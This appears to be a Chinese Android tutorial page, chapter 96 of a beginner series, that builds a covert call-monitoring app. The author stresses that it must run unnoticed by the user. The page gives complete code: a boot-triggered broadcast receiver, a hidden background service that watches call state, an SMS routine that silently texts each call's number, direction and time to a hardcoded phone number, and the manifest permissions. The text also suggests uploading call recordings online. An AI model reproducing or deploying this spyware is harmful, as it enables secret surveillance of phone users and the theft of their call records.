Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲
 Android教程網 >> Android技術 >> Android技術基礎 >> 第96章、手機電話監聽(從零開始學Android)

第96章、手機電話監聽(從零開始學Android)

編輯:Android技術基礎

監聽電話,無論你出於什麼目的?都有足夠的吸引力?

我們實現的步驟:(1)通過應用調用BroadcastReceiver;(2)廣播實現手機自動啟動;(3)廣播接收者啟動服務Service;目的實現應該不開啟,開機也能自動啟動監聽。

因為是電話監聽的過程是不想讓用戶察覺,所以監聽過程不能有軟件界面,這是要點,不然也不叫監聽器了。你可以監聽通話記錄,譬如幾點幾分,呼入電話或者呼出電話及電話號碼。當然當然,你也可以把通話錄音傳到網上指定位置。

我們這個案例僅實現通過短信來監聽指定手機的通話記錄情況。

一、設計界面

1、布局文件

打開res/layout/activity_main.xml文件。
輸入以下代碼:

[html] view plain copy  
  1. <?xml version="1.0" encoding="utf-8" ?>  
  2.   
  3. <LinearLayout   
  4.     xmlns:android="http://schemas.android.com/apk/res/android"   
  5.     android:orientation="vertical"   
  6.     android:layout_width="fill_parent"   
  7.     android:layout_height="fill_parent">  
  8.   
  9.     <Button  
  10.         android:id="@+id/startbroadcast"  
  11.         android:layout_width="wrap_content"  
  12.         android:layout_height="wrap_content"  
  13.         android:text="啟用廣播(接收器)" />  
  14.   
  15. </LinearLayout>  


二、程序文件

1、打開“src/com.genwoxue.telephonyservice/MainActivity.java”文件。
然後輸入以下代碼:

[java] view plain copy  
  1. package com.genwoxue.telephonyservice;  
  2.   
  3.   
  4. import android.os.Bundle;  
  5. import android.view.View;  
  6. import android.view.View.OnClickListener;  
  7. import android.widget.Button;  
  8. import android.app.Activity;  
  9.   
  10. public class MainActivity extends Activity {  
  11.   
  12.     private Button btnSend=null;  
  13.       
  14.     @Override  
  15.     protected void onCreate(Bundle savedInstanceState) {  
  16.         super.onCreate(savedInstanceState);  
  17.         setContentView(R.layout.activity_main);  
  18.           
  19.         btnSend=(Button)super.findViewById(R.id.startbroadcast);  
  20.         btnSend.setOnClickListener(new OnClickListener(){  
  21.             @Override  
  22.             public void onClick(View v){  
  23.                 //實例化廣播接收器,原因是廣播在Android4.0之後不能自啟。  
  24.                 new BroadcastReceiverUtil();  
  25.             }  
  26.         });  
  27.     }  
  28.       
  29. }  

MainActivity.java的目的僅僅是實例化廣播接收器,原因是由於Androd4.0之後廣播不能實現自己開機啟機,只要被APP調用過一次,下次開機則能實現自動啟動。
2、創建“src/com.genwoxue.broadcastservice/BroadcastReceiverUtil.java”文件。
然後輸入以下代碼:

[java] view plain copy  
  1. package com.genwoxue.telephonyservice;  
  2.   
  3. import android.content.BroadcastReceiver;  
  4. import android.content.Context;  
  5. import android.content.Intent;  
  6.   
  7. public class BroadcastReceiverUtil extends BroadcastReceiver{  
  8.     @Override  
  9.     public void onReceive(Context context,Intent intent){  
  10.         //如果有新電話呼出,其Action為“ACTION_NEW_OUTGOING_CALL”,  
  11.         //其呼出號碼由outPhone=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER)獲得  
  12.         //並啟動服務  
  13.         if(intent.getAction().equals(Intent.ACTION_NEW_OUTGOING_CALL)){  
  14.             String outPhone=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);  
  15.             Intent intentPhone=new Intent(context,TelephonyService.class);  
  16.             intentPhone.putExtra("outphone", outPhone);  
  17.             context.startService(intentPhone);  
  18.               
  19.         }else{  
  20.             //如果有新電話呼入,直接啟動服務  
  21.             context.startService(new Intent(context,TelephonyService.class));  
  22.         }  
  23.           
  24.     }  
  25. }  

3、打開“src/com.genwoxue.telephonyservice/TelephonyService.java”文件。
然後輸入以下代碼:

[java] view plain copy  
  1. package com.genwoxue.telephonyservice;  
  2.   
  3. import android.os.IBinder;  
  4. import android.telephony.PhoneStateListener;  
  5. import android.telephony.TelephonyManager;  
  6. import android.app.Service;  
  7. import android.content.Context;  
  8. import android.content.Intent;  
  9.   
  10. public class TelephonyService extends Service {  
  11.     private TelephonyManager telephonyManager=null;  
  12.     private String outPhone=null;  
  13.     private Intent intent=null;  
  14.       
  15.     @Override  
  16.     public void onCreate() {  
  17.         //取得TELEPHONY服務  
  18.         telephonyManager=(TelephonyManager)super.getSystemService(Context.TELEPHONY_SERVICE);  
  19.         //電話臨聽  
  20.         telephonyManager.listen(new PhoneStateListenerOk(), PhoneStateListener.LISTEN_CALL_STATE);  
  21.         super.onCreate();  
  22.     }  
  23.       
  24.     @Override  
  25.     public void onStart(Intent intent,int startId){  
  26.         //獲取呼出電話,從廣播接收器傳過來的值  
  27.         outPhone=intent.getStringExtra("outphone");  
  28.         super.onStart(intent, startId);  
  29.     }  
  30.       
  31.     @Override  
  32.     public IBinder onBind(Intent intent){  
  33.         return null;  
  34.     }  
  35.       
  36.     private class PhoneStateListenerOk extends PhoneStateListener{  
  37.         @Override  
  38.         public void onCallStateChanged(int state,String inPhone){  
  39.             switch(state){  
  40.             case TelephonyManager.CALL_STATE_IDLE:  
  41.                 break;  
  42.             case TelephonyManager.CALL_STATE_RINGING:   //呼入電話  
  43.                 new SmsUtil(TelephonyService.this,TelephonyService.this.intent)  
  44.                     .sendMsg("137039900xx",   
  45.                             inPhone,                      
  46.                             "呼入");  
  47.                 break;  
  48.             case TelephonyManager.CALL_STATE_OFFHOOK:  //呼出電話  
  49.                 new SmsUtil(TelephonyService.this,TelephonyService.this.intent)  
  50.                     .sendMsg("137039900xx",   
  51.                             TelephonyService.this.outPhone,  
  52.                             "呼出");  
  53.                 break;  
  54.             }  
  55.         }  
  56.     }  
  57. }  

TelephonyService是核心,是整個監聽系統的最重要的部分。

4、打開“src/com.genwoxue.telephonyservice/SmsUtil.java”文件。
然後輸入以下代碼: 

[java] view plain copy  
  1. package com.genwoxue.telephonyservice;  
  2.   
  3. import java.text.SimpleDateFormat;  
  4. import java.util.Date;  
  5.   
  6. import android.app.PendingIntent;  
  7. import android.content.Context;  
  8. import android.content.Intent;  
  9. import android.telephony.SmsManager;  
  10.   
  11. public class SmsUtil {  
  12.     private Context context=null;  
  13.     private Intent intent=null;  
  14.     public SmsUtil(Context context,Intent intent){  
  15.         this.context=context;  
  16.         this.intent=intent;  
  17.     }  
  18.       
  19.     //發送短信(接收手機號碼,監聽號碼,類型)  
  20.     public void sendMsg(String receivePhone,String phoneNumber,String type){  
  21.         SmsManager smsManager=SmsManager.getDefault();  
  22.         PendingIntent pendingIntent=PendingIntent.getActivity(this.context,0, this.intent, PendingIntent.FLAG_UPDATE_CURRENT);  
  23.         String content="電話號碼:"  
  24.                 +phoneNumber  
  25.                 +"\n類型:"  
  26.                 +type  
  27.                 +"\n操作時間:"  
  28.                 +new SimpleDateFormat("yyyy-MM-dd HH:mm:ss E").format(new Date());  
  29.         smsManager.sendTextMessage(receivePhone, "13800371500", content, pendingIntent, null);  
  30.     }  
  31. }  

僅僅實現了發送短信功能,在實際開發中,更多的是通過網絡實現。

三、配置文件

打開“AndroidManifest.xml”文件。

然後輸入以下代碼:

[html] view plain copy  
  1. <?xml version="1.0" encoding="utf-8"?>  
  2. <manifest xmlns:android="http://schemas.android.com/apk/res/android"  
  3.     package="com.genwoxue.telephonyservice"  
  4.     android:versionCode="1"  
  5.     android:versionName="1.0" >  
  6.   
  7.     <uses-sdk  
  8.         android:minSdkVersion="10"  
  9.         android:targetSdkVersion="15" />  
  10.     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>  
  11.     <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>  
  12.     <uses-permission android:name="android.permission.SEND_SMS"/>  
  13.   
  14.     <application  
  15.         android:allowBackup="true"  
  16.         android:icon="@drawable/ic_launcher"  
  17.         android:label="@string/app_name"  
  18.         android:theme="@style/AppTheme" >  
  19.           
  20.           
  21.          <activity  
  22.             android:name="com.genwoxue.telephonyservice.MainActivity"  
  23.             android:label="@string/app_name" >  
  24.             <intent-filter>  
  25.                 <action android:name="android.intent.action.MAIN" />  
  26.                 <category android:name="android.intent.category.LAUNCHER" />  
  27.             </intent-filter>  
  28.         </activity>  
  29.         <receiver  
  30.             android:name="com.genwoxue.telephonyservice.BroadcastReceiverUtil">  
  31.             <intent-filter>  
  32.                 <action android:name="android.intent.action.PHONE_STATE" />  
  33.                 <action android:name="android.intent.action.BOOT_COMPLETED" />  
  34.                 <action android:name="android.intent.action.NEW_OUTGOING_CALL" />  
  35.             </intent-filter>  
  36.         </receiver>  
  37.         <service android:name="com.genwoxue.telephonyservice.TelephonyService"></service>      
  38.     </application>  
  39.   
  40. </manifest>  


注意:需要在AndroidManifest.xml文件中添加以下內容:

(1)權限部分

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
     <uses-permission android:name="android.permission.SEND_SMS"/>

(2)BroadcastReceiverUti廣播接收器過濾三種ACTION:l隨機啟動、新電話呼出、電話狀態

<receiver
             android:name="com.genwoxue.telephonyservice.BroadcastReceiverUtil">
             <intent-filter>
                 <action android:name="android.intent.action.PHONE_STATE" />
        <action android:name="android.intent.action.BOOT_COMPLETED" />
                 <action android:name="android.intent.action.NEW_OUTGOING_CALL" />
             </intent-filter>
         </receiver>

(3)服務
        <service android:name="com.genwoxue.telephonyservice.TelephonyService"></service>

四、運行結果

Activity啟動廣播接收方—>廣播接收方啟動Service服務

\ \

  1. 上一頁:
  2. 下一頁:
熱門文章
閱讀排行版
Copyright © Android教程網 All Rights Reserved